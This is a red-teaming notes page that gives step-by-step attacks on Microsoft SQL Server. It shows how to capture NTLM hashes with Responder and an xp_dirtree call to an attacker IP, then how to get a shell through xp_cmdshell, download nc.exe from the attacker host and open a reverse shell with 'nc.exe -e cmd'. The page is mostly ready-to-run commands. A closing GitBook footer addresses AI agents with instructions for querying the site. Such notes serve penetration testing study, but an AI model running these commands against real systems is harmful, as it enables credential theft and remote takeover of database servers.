> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/red-teaming/attack-vectors/microsoft-sql-server.md).

# Microsoft SQL Server

***

### Capturing NTLM hashes

**Pre-requesties**

* Having access to the server.
* Downloading -> [**Responder.py**](https://github.com/SpiderLabs/Responder) (Intsalled by default in Kali)

1. Running Responder.

```bash
sudo responder -I tun0 
```

2. Starting an HTTPServer.

```bash
sudo python3 -m http.server 80
```

3. Listing a fake share to trigger the protocol.

```bash
xp_dirtree "\\<ATTACKER-IP>\meow"
```

4. Check Responder and take the hash and decrypt it.

### Gaining a shell

1. Log in using impacket-mssqlclient

```bash
impacket-mssqlclient <DOMAIN>/<USER>:<PASSWORD>@<IP>
```

2. You can execute commands on MSSQL server using:

```bash
EXEC xp_cmdshell '<COMMAND>'
```

3. Then you can upload a `nc.exe`:

```bash
EXEC xp_cmdshell 'powershell -c curl http://<ATTACKER-IP>/nc.exe -o <PATH>'
```

4. Trigger it:

```bash
EXEC xp_cmdshell '<PATH>/nc.exe -e cmd <ATTACKER-IP> <PORT>'
```

> **Good tools:** Microsoft SQL Database Attacking Tool -> [Msdat](https://github.com/quentinhardy/msdat) [Mssql.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py) (Make sure to run with python3 and specify the username without the domain)

## Further reading

* Four Parts -> [Netspi](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* Cheatsheet -> [Hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/red-teaming/attack-vectors/microsoft-sql-server.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
